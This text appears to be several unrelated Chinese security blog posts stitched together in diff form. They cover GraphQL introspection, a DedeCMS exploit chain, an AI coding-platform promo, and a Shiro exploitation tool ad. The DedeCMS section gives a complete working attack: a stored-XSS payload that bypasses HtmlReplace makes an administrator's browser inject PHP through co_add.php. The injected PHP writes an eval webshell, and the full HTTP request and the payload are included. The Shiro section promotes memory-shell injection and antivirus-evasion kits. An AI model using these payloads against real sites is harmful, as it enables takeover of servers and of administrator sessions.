"query": "{__schema{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
|
||||
注意：BurpSuite Scanner 工具可在扫描过程中自动探测内省功能。如果发现内省功能已启用，它会报告“
|
||||
GraphQL 内省功能已启用”问题。
|
||||
|
||||
二、运行完整内省查询
|
||||
|
||||
下一步是对端点运行
|
||||
完整的内省查询，以尽可能获取底层架构的详细信息。
|
||||
|
||||
以下示例查询返回所有
|
||||
查询、
|
||||
变更、
|
||||
订阅、
|
||||
类型及
|
||||
片段的完整详情：
|
||||
```
|
||||
graphql
|
||||
# 完整内省查询
|
||||
query IntrospectionQuery {
|
||||
__schema {
|
||||
queryType { name }
|
||||
mutationType { name }
|
||||
subscriptionType { name }
|
||||
types { ...FullType }
|
||||
directives {
|
||||
name
|
||||
description
|
||||
args { ...InputValue }
|
||||
onOperation # 常需删除此项以运行查询
|
||||
onFragment # 常需删除此项以运行查询
|
||||
onField # 常需删除此项以运行查询
|
||||
}
|
||||
}
|
||||
}
|
||||
fragment FullType on __Type {
|
||||
kind
|
||||
name
|
||||
description
|
||||
fields(includeDeprecated: true) {
|
||||
name
|
||||
description
|
||||
args { ...InputValue }
|
||||
type { ...TypeRef }
|
||||
isDeprecated
|
||||
deprecationReason
|
||||
}
|
||||
inputFields { ...InputValue }
|
||||
interfaces { ...TypeRef }
|
||||
enumValues(includeDeprecated: true) {
|
||||
name
|
||||
description
|
||||
isDeprecated
|
||||
deprecationReason
|
||||
}
|
||||
possibleTypes { ...TypeRef }
|
||||
}
|
||||
fragment InputValue on __InputValue {
|
||||
name
|
||||
description
|
||||
type { ...TypeRef }
|
||||
defaultValue
|
||||
}
|
||||
fragment TypeRef on __Type {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
ofType {
|
||||
kind
|
||||
name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
注意：如果内省功能已启用但上述查询无法运行，可尝试从查询结构中移除
|
||||
onOperation、
|
||||
onFragment 和
|
||||
onField 指令。许多端点不接受这些指令作为内省查询的一部分，移除后通常能更顺利地进行内省。
|
||||
|
||||
三、可视化内省结果
|
||||
|
||||
内省查询的响应可能包含大量信息，但通常内容冗长且难以处理。
|
||||
|
||||
我们可以使用
|
||||
GraphQL 可视化工具更直观地查看架构实体之间的关系。该在线工具可接收
|
||||
内省查询的结果，并生成返回数据的可视化图表，包括操作与类型之间的关联关系。
|
||||
|
||||
四、例外情况--建议功能
|
||||
|
||||
即使
|
||||
内省功能被完全
|
||||
禁用，您有时仍可利用
|
||||
建议功能来推断 API 的结构信息。
|
||||
|
||||
建议功能是 Apollo GraphQL 平台的一项特性，服务器可在错误消息中提示查询修正建议。这通常用于查询存在轻微错误但仍可识别的情况（例如：“找不到 ‘
|
||||
productInfo’ 条目，您是否想查询 ‘
|
||||
productInformation’？”）。
|
||||
|
||||
通过此功能，我们可能获取到有用信息，因为响应实际上透露了架构中的有效字段或类型。
|
||||
|
||||
Clairvoyance【工具地址：
|
||||
https://github.com/nikitastupin/clairvoyance
|
||||
】 是一款利用建议功能自动恢复 GraphQL 架构（全部或部分）的工具，即使在内省功能被禁用时也能生效。这大大减少了从建议响应中拼凑信息所需的时间。
|
||||
|
||||
|
||||
|
||||
今天的内容就先分享到这，明天这边会结合实际的应用场景，给大家分享
|
||||
结合前面理论内容，如何挖掘
|
||||
有关
|
||||
GraphQL API 漏洞的内容。感兴趣的话，可以点点关注。
|
||||
|
||||
觉得内容对你有用或无用，欢迎点赞或留言，这边会不断更正。
|
||||
|
||||
@@ -0,0 +1,388 @@
|
||||
# 【漏洞情报】【0day】织梦DedeCMS 0click劫持导致的前台rce getshell
|
||||
原创 隼目安全
|
||||
隼目安全 隼目安全 2026-01-26 01:21
|
||||
|
||||
> ❝
|
||||
> 由于传播、利用本公众号"隼目安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"隼目安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢！
|
||||
|
||||
### 漏洞点1 前台xss
|
||||
|
||||
**2. 1.1. 入口点**
|
||||
|
||||
**功能模块**
|
||||
: 会员中心 - 内容发布功能
|
||||
|
||||
**具体文件**
|
||||
: member/article_add.php
|
||||
|
||||
**触发条件**
|
||||
: 普通认证用户向该页面提交 dopost=save
|
||||
的 POST 请求，发布新文章。
|
||||
|
||||
**产生原因**
|
||||
：POST发送的请求过滤不完整，大部分转义只存在前端，使用POST发包即可绕过
|
||||
|
||||
**1.2. 漏洞点**
|
||||
|
||||
**核心文件**
|
||||
: include/helpers/filter.helper.php
|
||||
|
||||
**漏洞函数**
|
||||
: HtmlReplace($str, $rptype = -1)
|
||||
|
||||
**代码位置**
|
||||
: include/helpers/filter.helper.php
|
||||
第 23-51 行（行号可能略有差异）
|
||||
|
||||
|
||||
```
|
||||
functionHtmlReplace($str, $rptype =-1) { $str = stripslashes($str); if($rptype ==-1){ // 完全禁止 script,iframe,link,meta,style,object 等 $str = preg_replace("/<(script|style|link|meta|iframe|frame)(\[^>\]+)?>/isU","", $str); $str = preg_replace("/<\\/(script|style|link|meta|iframe|frame)>/isU","", $str); $str = preg_replace("/<\[a-z\]+:\[a-z\]+(\[^>\]+)?>/isU","", $str);// 禁止如 o:p 这样的标签 $str = preg_replace("/<(\[a-z\]+) on\[a-z\]+=(\[^>\]+)?>/isU","<\\\\1>", $str);// 禁止 on\* 事件 } // ... 其他 rptype 的处理 return addslashes($str); }
|
||||
```
|
||||
|
||||
**1.3. 调用链**
|
||||
|
||||
|
||||
|
||||
1. **用户操作**
|
||||
: 普通用户登录后，访问 member/article_add.php
|
||||
页面，填写标题和内容（包含 XSS Payload），点击“提交”。
|
||||
|
||||
2. **请求提交**
|
||||
: 浏览器向 member/article_add.php
|
||||
发送 POST 请求，dopost
|
||||
参数为 save
|
||||
。
|
||||
|
||||
3. **包含检查文件**
|
||||
: member/article_add.php
|
||||
在处理保存逻辑时，会包含 member/inc/archives_check.php
|
||||
文件。
|
||||
|
||||
4. **调用过滤函数**
|
||||
: 在 member/inc/archives_check.php
|
||||
中，从 POST 请求获取的文章正文 $body
|
||||
会被传递给漏洞函数进行处理：
|
||||
|
||||
|
||||
body,
|
||||
此处
|
||||
htmltype 默认为 -1
|
||||
|
||||
6. **数据入库**
|
||||
: 经过过滤（但实际上未成功过滤恶意代码）的 $body
|
||||
内容被拼接到 SQL 语句中，并存入数据库的 dede_addonarticle
|
||||
表。
|
||||
|
||||
7. **漏洞触发**
|
||||
: 当任意用户（包括管理员）通过 plus/view.php?aid={文章ID}
|
||||
访问这篇文章时，应用程序从数据库中读取含有恶意代码的内容，并直接在页面上渲染。
|
||||
|
||||
8. **脚本执行**
|
||||
: 浏览器解析到恶意 HTML 标签（如 <img src=x onerror=alert(...)>
|
||||
），执行 onerror
|
||||
事件中的 JavaScript 代码，XSS 攻击成功。
|
||||
|
||||
**2. 漏洞成因分析**
|
||||
|
||||
**2.1. 绕过的安全措施**
|
||||
|
||||
本次攻击成功绕过了 HtmlReplace()
|
||||
函数的安全过滤机制。该函数本意是作为防止 XSS 攻击的核心防御措施之一。
|
||||
|
||||
**2.2. 安全措施的问题**
|
||||
|
||||
HtmlReplace()
|
||||
函数的根本问题在于其**设计缺陷**
|
||||
：
|
||||
|
||||
1. **不完善的黑名单**
|
||||
:
|
||||
|
||||
undefined
|
||||
函数仅过滤了少数已知的危险标签，如 <script>
|
||||
, <iframe>
|
||||
等。但 HTML 中存在大量可以执行脚本的标签，例如 <img>
|
||||
, <svg>
|
||||
, <details>
|
||||
, <video>
|
||||
等，这些标签均未在黑名单中。
|
||||
|
||||
2. **事件处理器过滤可被绕过**
|
||||
:
|
||||
|
||||
undefined 虽然代码中存在一行 preg_replace("/<(\[a-z\]+) on\[a-z\]+=(\[^>\]+)?>/isU", "<\\\\1>", $str);
|
||||
意图移除 on\*
|
||||
事件，但这个正则表达式写得非常脆弱。
|
||||
|
||||
undefined **问题所在**
|
||||
:
|
||||
|
||||
undefined 它只匹配了 on
|
||||
后面紧跟小写字母的情况 (on\[a-z\]+=
|
||||
)。
|
||||
|
||||
undefined 它没有考虑 HTML 对属性和标签名大小写不敏感的特性。
|
||||
|
||||
undefined 它没有处理事件名前后可能存在的空格、制表符、换行符等空白字符。
|
||||
|
||||
undefined 例如，onload
|
||||
可以被绕过，而 <svg/onload=...>
|
||||
这种更简洁的向量也完全无法匹配。
|
||||
|
||||
**2.3. 触发漏洞的原因**
|
||||
|
||||
漏洞之所以被触发，是因为应用程序**过度信任**
|
||||
了 HtmlReplace()
|
||||
函数的过滤能力。开发者认为经过此函数处理后的内容是“安全的”，因此直接将其存入数据库并在前端输出。然而，由于该函数的过滤逻辑可以被轻易绕过，导致恶意构造的 JavaScript Payload 被完整地存储和再现，最终在用户浏览器中执行。
|
||||
### 漏洞点2 后台rce
|
||||
|
||||
**1. 漏洞位置**
|
||||
|
||||
**主要漏洞点**
|
||||
: include/dedecollection.class.php
|
||||
|
||||
|
||||
|
||||
**2. 完整调用链分析**
|
||||
|
||||
**2.1 入口点分析**
|
||||
|
||||
**入口文件**
|
||||
: dede/co_add.php
|
||||
|
||||
**权限检查**
|
||||
: CheckPurview('co_AddNote');
|
||||
- 需要采集添加权限
|
||||
|
||||
**用户类型**
|
||||
: 管理员用户
|
||||
|
||||
**2.2 调用链路径**
|
||||
|
||||
攻击链（逻辑流）
|
||||
|
||||
1. 入口
|
||||
|
||||
dede/co_add.php 第12行
|
||||
|
||||
└─ require_once(dirname(_FILE
|
||||
_)."/config.php");
|
||||
|
||||
└─ CheckPurview('co_AddNote'); // 权限校验
|
||||
|
||||
|
||||
|
||||
2. 接收用户输入
|
||||
|
||||
co_add.php step=5
|
||||
|
||||
└─ 拼接字符串 $itemconfig，其中直接包含用户提交的 function_ 字段内容
|
||||
|
||||
|
||||
|
||||
3. 引入类文件
|
||||
|
||||
co_add.php
|
||||
|
||||
└─ require_once(DEDEINC.'/dedecollection.class.php');
|
||||
|
||||
|
||||
|
||||
4. 解析配置
|
||||
|
||||
dedecollection.class.php LoadItemConfig()
|
||||
|
||||
└─ 从 $itemconfig 中提取 function 字段，保存为后续要用到的 PHP 代码片段
|
||||
|
||||
|
||||
|
||||
5. 触发执行点
|
||||
|
||||
|
||||
|
||||
dedecollection.class.php GetPageFields()
|
||||
|
||||
└─ 检测到“带函数”项目，调用 RunPHP()
|
||||
|
||||
|
||||
|
||||
6. 代码执行
|
||||
|
||||
dedecollection.class.php RunPHP()
|
||||
|
||||
eval(
|
||||
|
||||
phpcode 即为用户输入，无过滤，导致任意 PHP 代码执行
|
||||
|
||||
|
||||
|
||||
**2.3 关键代码段**
|
||||
|
||||
**co_add.php - 构造恶意配置**
|
||||
:
|
||||
|
||||
|
||||
|
||||
**dedecollection.class.php 第 708-801 行 - 触发执行**
|
||||
:
|
||||
|
||||
|
||||
|
||||
1. 打开采集节点管理
|
||||
|
||||
|
||||
|
||||
2. 点击增加新节点，内容模型选择普通文章即可
|
||||
|
||||
|
||||
|
||||
3. 修改配置，这个界面其实什么都不用填写，不过编码记得改成uft8，不然可能会报错
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
4. 继续点击保存信息进入下一步，进入新界面后
|
||||
|
||||
|
||||
|
||||
记得配置一个预览网址，随便填写什么都可以，返回404也没问题，主要是为了下一步操作
|
||||
|
||||
5. 最关键的来了，直接填写php代码
|
||||
|
||||
|
||||
```
|
||||
$file = '../shell.php'; $code = '<?php @eval($\_POST\["cmd"\]); ?>'; if (!is_writable('.')) { exit('!w'); } if (file_put_contents($file, $code) === false) { exit('!f'); } <br/>echo "OK:$file"; ?>
|
||||
```
|
||||
|
||||
其实写什么都行，这里为了方便，我写的是
|
||||
|
||||
点击保存配置并预览
|
||||
|
||||
|
||||
|
||||
提示webshell已写入
|
||||
|
||||
访问测试
|
||||
|
||||
|
||||
### xss+后台rce组合拳0click劫持 导致的前台rce getshell
|
||||
|
||||
|
||||
|
||||
首先需要论坛管理员开启允许用户注册(一般的大多论坛都会有这个功能)
|
||||
|
||||
|
||||
|
||||
随便注册一个用户
|
||||
|
||||
发布文章，这里随便填入内容，一会儿用burp抓包修改，应该这里填入的内容会在前端转义，所以一定要抓包修改，不能在此处直接粘贴payload
|
||||
|
||||
|
||||
|
||||
通过xss与后台rce连用导致前端rce，payload分析在文章末尾
|
||||
|
||||
发表文章的位置插入xss的payload
|
||||
|
||||
Paylaod：
|
||||
```
|
||||
POST /member/article_add.php HTTP/1.1 Upgrade-Insecure-Requests: 1 Cookie: PHPSESSID=nh39psg5v2o5cf9c8pomj1e1ql; last_vtime=1759853737; last_vtime1BH21ANI1AGD297L1FF21LN02BGE1DNG=2ab33eb76a0cfee4; last_vid=zhangsan; last_vid1BH21ANI1AGD297L1FF21LN02BGE1DNG=379eea6708338568; DedeUserID=2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=e8d5d4f01a2244cf; DedeLoginTime=1759914279; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=308b8ec7c3b94d13; ENV_GOBACK_URL=%2Fmember%2Fcontent_list.php%3Fchannelid%3D1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9 Referer: http://127.0.0.1/member/article_add.php Sec-Fetch-Dest: document Connection: keep-alive User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Sec-Fetch-User: ?1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySyrTdpWXNBErACAu Origin: http://127.0.0.1 Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Cache-Control: max-age=0 Host: 127.0.0.1 Content-Length: 1395 \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="dopost"save \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="channelid"1 \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="title"kkk \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="tags"\------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="writer"zhangsan \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="typeid"1 \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="mtypesid"0 \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="description"\------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="litpic"; filename=""Content-Type: application/octet-stream \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="dede_addonfields"\------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="dede_fieldshash"7c4b61b91b4a839699243bbbaca861c5 \------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="body"<br/>\------WebKitFormBoundarySyrTdpWXNBErACAu Content-Disposition: form-data; name="vdcode"MQK5 \------WebKitFormBoundarySyrTdpWXNBErACAu--
|
||||
```
|
||||
|
||||
创建一篇文章，管理员在后台点开待审核文章时自动触发
|
||||
|
||||
|
||||
|
||||
其中kkk是我刚发送数据包发布的新文章
|
||||
|
||||
管理员打开显示
|
||||
|
||||
|
||||
|
||||
这个22是什么等会再讲
|
||||
|
||||
查看目录发现shell.php创建成功
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
现在我们来分析这个payload
|
||||
```
|
||||
<details open ontoggle="fetch('/dede/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'channelid=1&step=2&dopost=preview¬ename=short'}).then(r=>r.text()).then(t=>{console.log(t);let m=t.match(/name='nid' value='(.*?)'/);if(m){let nid=m[1];alert(nid);fetch('/dede/co_add.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'nid='+nid+'&channelid=1&step=5&previewurl=http%3A%2F%2F127.0.0.1%2Ftest.html&sppage=&sptype=full&srul=1&erul=5&keywordtrim=&descriptiontrim=&fields[]=title&match_title=%3Ctitle%3E%5B%E5%86%85%E5%AE%B9%5D%3C%2Ftitle%3E&trim_title=&fields[]=writer&match_writer=&trim_writer=&fields[]=source&match_source=&trim_source=&fields[]=pubdate&match_pubdate=&trim_pubdate=&function_pubdate=%40me%3DGetMkTime%28%40me%29%3B&fields[]=body&value_body=&match_body=&isunit_body=1&isdown_body=1&trim_body=&function_body=%24file%20%3D%20%27..%2Fshell.php%27%3B%0D%0A%24code%20%3D%20%27%3C%3Fphp%20%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%20%3F%3E%27%3B%0D%0Aif%20%28%21is_writable%28%27.%27%29%29%20%7B%0D%0A%09exit%28%27%21w%27%29%3B%0D%0A%7D%0D%0Aif%20%28file_put_contents%28%24file%2C%20%24code%29%20%3D%3D%3D%20false%29%20%7B%0D%0A%09exit%28%27%21f%27%29%3B%0D%0A%7D%0D%0Aecho%20%27OK%3A%27%20.%20%24file%3B%0D%0A%3F%3E&b12=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE%E5%B9%B6%E9%A2%84%E8%A7%88'}).then(r=>r.text()).then(res=>console.log(res))}})" hidden><summary></summary></details>
|
||||
```
|
||||
|
||||
**1. 触发方式**
|
||||
1. <details open ontoggle="...">
|
||||
|
||||
利用 HTML5 的 <details> 标签的 ontoggle 事件，**页面一打开就自动执行 JS**
|
||||
。
|
||||
|
||||
无需用户交互，**隐蔽性强**
|
||||
。
|
||||
|
||||
**2. 第一步：获取 nid**
|
||||
```
|
||||
fetch('/dede/co_add.php', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'channelid=1&step=2&dopost=preview¬ename=short' })
|
||||
```
|
||||
|
||||
模拟后台请求，**创建一个新的采集节点**
|
||||
。
|
||||
|
||||
返回内容中包含一个隐藏的 nid（节点ID），用于后续步骤。
|
||||
|
||||
**3. 第二步：注入恶意代码**
|
||||
```
|
||||
fetch('/dede/co_add.php', { method: 'POST', crdentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'nid=' + nid + '&...&function_body=...' })
|
||||
```
|
||||
|
||||
利用 function_body
|
||||
参数，**注入 PHP 代码**
|
||||
。
|
||||
|
||||
这段 PHP 代码的作用是：
|
||||
```
|
||||
$file = '../shell.php'; $code = '<?php @eval($\_POST\["cmd"\]); ?>'; if (!is_writable('.')) exit('!w'); if (file_put_contents($file, $code) === false) exit('!f'); echo 'OK:' . $file;
|
||||
```
|
||||
|
||||
在上一级目录写入 shell.php
|
||||
。
|
||||
|
||||
内容是一个**一句话木马**
|
||||
，接受 POST 参数 cmd，直接执行。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
|
||||
|
||||
[【转载】复盘2025：在WAF的缝隙里开出花来（附EDU通杀0DayPOC）](https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247491127&idx=1&sn=6e297c23bf014488296c0418d96a2597&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[【相关分享】PHP反序列化的万字简单总结](https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247491088&idx=1&sn=61317dd03dca9a48967b9a44c6413813&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[快手牛逼](https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247490390&idx=1&sn=5599b8baf91ff693e5c05974ee6f9594&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[国家公祭日](https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247490389&idx=1&sn=5aa496d86d63fd08390fcec8ff0143b1&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[难绷](https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247490385&idx=1&sn=d0788e23a020ef5f282a440a74a37b9f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
文稿 |
|
||||
Ph@nt0m
|
||||
|
||||
制作 | Xuan8a1
|
||||
|
||||
审发 | 隼目安全
|
||||
|
||||
@@ -0,0 +1,122 @@
|
||||
# 免费，够强！实战使用MonkeyCode审计0day&安全开发
|
||||
MonkeyCode
|
||||
MonkeyCode 听风安全 2026-01-26 01:00
|
||||
|
||||
序言
|
||||
|
||||
2026年了，应该没有人不用AI了吧。第一次直观的感受到AI的强大还得是三年之前刚用cursor的时候，记得当时是在逆向
|
||||
一
|
||||
个web站点的加密算法，把源码丢给cursor就直接秒掉了。最近又接二连三出来了很多工具比如
|
||||
Antigravity、
|
||||
Windsurf、kiro等等。虽然能用但是限制越来越多，也是一直在寻找一个能平替的工具。
|
||||
|
||||
|
||||
|
||||
正好看到CT在宣传的
|
||||
这
|
||||
个
|
||||
MonkeyCode，试了试代码审计和工具二开效果都还蛮不错的，本篇文章会着重针对这两点进行详细讲解我是怎么通过
|
||||
MonkeyCode审计到0day和轻松实现工具二开的。
|
||||
|
||||
先来了解一下
|
||||
MonkeyCode是什么？
|
||||
|
||||
MonkeyCode 是由长亭科技推出的企业级 AI 开发平台，致力于为开发者提供更专业、更可靠、更可扩展的 AI Coding 体验，地址如下：
|
||||
|
||||
https://monkeycode-ai.com/
|
||||
|
||||
MonkeyCode有三个模式分别是：开发、设计、审查
|
||||
|
||||
|
||||
|
||||
再具体的使用可以去查看官方文档了解
|
||||
|
||||
https://monkeycode.docs.baizhi.cloud/
|
||||
|
||||
MonkeyCode
|
||||
代码审计
|
||||
|
||||
用
|
||||
MonkeyCode做代码审计也非常简单，只需要把代码压缩包上传即可或者选择GitHub的地址，它会自动下载。这里要选择审查模式。
|
||||
|
||||
|
||||
|
||||
上传源码压缩包，告诉它要做的事情就行了
|
||||
|
||||
|
||||
|
||||
MonkeyCode支持
|
||||
完全免费使用
|
||||
，当然也可以使用付费的模型，这里我就使用Claude code进行测试。使用
|
||||
Claude code需要耗费对应的点数，不过可以邀请用户获得点数，实现左脚踩右脚上天。
|
||||
|
||||
|
||||
|
||||
接下来会自动创建一个开发环境，这个也就相当于是开了一个临时的vps，非常方便
|
||||
|
||||
|
||||
|
||||
结果也是很给力，光说不练假把式，来验证几个看看漏洞是否真实存在
|
||||
|
||||
|
||||
|
||||
这里挑了两个严重进行了验证都是存在的，路径遍历和文件上传
|
||||
|
||||
先来看一下权限绕过这个漏洞
|
||||
|
||||
|
||||
|
||||
/api/file/下的接口都无需认证可实现未授权访问，而
|
||||
路径遍历和文件上传的路径正好都在这个接口下。
|
||||
|
||||
可跨目录未授权文件读取，不过这里有点鸡肋的是只能读xlsx格式的文件因为代码中写死了，代码这里就不贴出来了，只作为测试验证漏洞确实存在。
|
||||
|
||||
|
||||
|
||||
如果你是安全人员，可以通过
|
||||
MonkeyCode大大提升效率，助你更快挖到0day或者辅助进行代码审计，如果你是开发人员同样可以使用
|
||||
MonkeyCode检查你的代码是否安全
|
||||
是
|
||||
否规范。
|
||||
|
||||
MonkeyCode
|
||||
工具二开
|
||||
|
||||
这里对gogo进行二开，对代码进行混淆然后加上一个输入密码才能使用的功能。
|
||||
|
||||
这里就选择开发模式，然后复制GitHub地址就行了，再输入提示词就可以开始干活了
|
||||
|
||||
|
||||
|
||||
MonkeyCode每执行一个任务都会起一个临时的虚拟环境，也就意外着可以直接在平台进行编译，省去了在本地下载配置各种环境报错的麻烦。属于是即开即用，很方便。
|
||||
|
||||
等几分钟之后，ai就工作完毕
|
||||
|
||||
|
||||
|
||||
然后来测试一下看看，效果也是嘎嘎好
|
||||
|
||||
|
||||
|
||||
也可以根据自己的需求手动修改代码，或者配置环境
|
||||
|
||||
|
||||
|
||||
这里只是提供一个开发模式的使用思路，大家可以用来做更多的事情甚至开发一个新的工具。
|
||||
|
||||
结尾
|
||||
|
||||
上面代码审计的时候提到了使用
|
||||
Claude code需要耗费对应的点数，这里就教给大家怎么白嫖点数，首先新注册的用户可以直接获得价值200元也就是20000点。同时，
|
||||
邀请1个好友就可以活动2000点数，而且是不设上限的！
|
||||
|
||||
注册方式：
|
||||
|
||||
https://monkeycode-ai.com/?ic=019bd617-f10d-7e6f-b8e1-5481d98c8a42
|
||||
|
||||
扫描下方二维码可加入官方群聊，群内不定时发放点数，有什么相关问题也可以反馈
|
||||
|
||||
|
||||
|
||||
快来体验体验吧~
|
||||
|
||||
@@ -0,0 +1,189 @@
|
||||
# 工具推荐 | 一款Shiro反序列化漏洞一站式综合利用工具
|
||||
FightingLzn9
|
||||
FightingLzn9 星落安全团队 2026-01-25 16:00
|
||||
|
||||
|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
关注我们
|
||||
|
||||
|
||||
|
||||
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家能把
|
||||
**星落安全团队**
|
||||
“
|
||||
**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦
|
||||
！
|
||||
|
||||
【
|
||||
声明
|
||||
】本文所涉及的技术、思路和工具仅用于安全测试和防御研究，切勿将其用于非法入侵或攻击他人系统以及盈利等目的，一切后果由操作者自行承担！！！
|
||||
|
||||
|
||||
|
||||
**工具介绍**
|
||||
|
||||
WinD
|
||||
ShiroExploit，是一款Shiro反序列化漏洞一站式综合利用工具。
|
||||
|
||||
基本概述如下：
|
||||
- 区分ShiroAttack2，采用分块传输内存马，每块大小不超过4000。
|
||||
|
||||
- 可打JDK高版本的shiro，确保有key、有gadget就能rce。
|
||||
|
||||
- 依托JavaChains动态生成gadget，实现多条利用链，如CB、CC、Fastjson、Jackson。
|
||||
|
||||
- 通过魔改MemshellParty的内存马模板，使其回显马通信加密，去除一些典型的特征。
|
||||
|
||||
- 借助JMG的注入器，加以魔改，实现无侵入性，同一个容器可同时兼容多种类型的内存马。
|
||||
|
||||
- 对内存马和注入器类名进行随机化和Lambda化处理，规避内存马主动扫描设备的检测。
|
||||
|
||||
- 可以更改目标配置，如改Key、改TomcatHeaderMaxSize。
|
||||
|
||||
- 采用URLDNS链和反序列化炸弹的方式来探测指定类实现利用链的探测。
|
||||
|
||||
- 缺点是流量相对大一些。
|
||||
|
||||
功能演示
|
||||
|
||||
JDK18场景下实现命令执行和打入多种内存马。
|
||||
|
||||
|
||||
|
||||
|
||||
跑key。
|
||||
|
||||
|
||||
|
||||
|
||||
探测利用链。
|
||||
|
||||
|
||||
|
||||
|
||||
命令执行。
|
||||
|
||||
|
||||
|
||||
|
||||
打入Godzilla内存马（支持Behinder内存马）。
|
||||
|
||||
|
||||
|
||||
|
||||
打入SUO5V2内存马。
|
||||
|
||||
|
||||
|
||||
|
||||
支持Tomcat10及以上的内存马。
|
||||
|
||||
|
||||
|
||||
|
||||
**相关地址**
|
||||
|
||||
**关注微信公众号后台回复“入群”，即可进入星落安全交流群！**
|
||||
|
||||
关注微信公众号后台回复“
|
||||
20260126
|
||||
**”，即可获取项目下载地址！**
|
||||
|
||||
****
|
||||
|
||||
****
|
||||
**圈子介绍**
|
||||
|
||||
博主介绍
|
||||
：
|
||||
|
||||
|
||||
目前工作在某安全公司攻防实验室，一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练，擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
|
||||
|
||||
|
||||
目前已经更新的免杀内容：
|
||||
- 部分免杀项目源代码
|
||||
|
||||
- 星落安全内部免杀工具箱1.0
|
||||
|
||||
- CobaltStrike4.9.1星落专版1.9
|
||||
|
||||
- 一键击溃windows defender
|
||||
|
||||
- 一键击溃火绒进程
|
||||
|
||||
-
|
||||
CobaltStrike免杀加载器
|
||||
|
||||
- 数据库直连工具免杀版
|
||||
|
||||
- aspx文件自动上线cobaltbrike
|
||||
|
||||
- jsp文件
|
||||
自动上线cobaltbrike
|
||||
|
||||
- 哥斯拉免杀工具
|
||||
XlByPassGodzilla
|
||||
|
||||
- 冰蝎免杀工具 XlByPassBehinder
|
||||
|
||||
- 冰蝎星落专版 xlbehinder
|
||||
|
||||
- 正向代理工具 xleoreg
|
||||
|
||||
- 反向代理工具xlfrc
|
||||
|
||||
- 内网扫描工具 xlscan
|
||||
|
||||
- Todesk/向日葵密码读取工具
|
||||
|
||||
- 导出lsass内存工具 xlrls
|
||||
|
||||
- 绕过WAF免杀工具 ByPassWAF
|
||||
|
||||
- 等等...
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
目前星球已满1000人，价格由208元
|
||||
调整为
|
||||
218元(
|
||||
交个朋友啦
|
||||
)，1100名以后涨价至268元。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
|
||||
|
||||
1.[加量不加价 | 星落免杀第二期，助你打造专属免杀武器库](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495969&idx=1&sn=d3379e8f69c2cefb6d0564299e13d579&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2.[【干货】你不得不学习的内网渗透手法](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489483&idx=1&sn=0cbeb449e56db1ae48abfb924ffd0b43&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
3.[【免杀】CobaltStrike4.9.1二开 | 自破解 免杀 修复BUG](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247488486&idx=1&sn=683083d38a58de4a95750673d9cb725d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
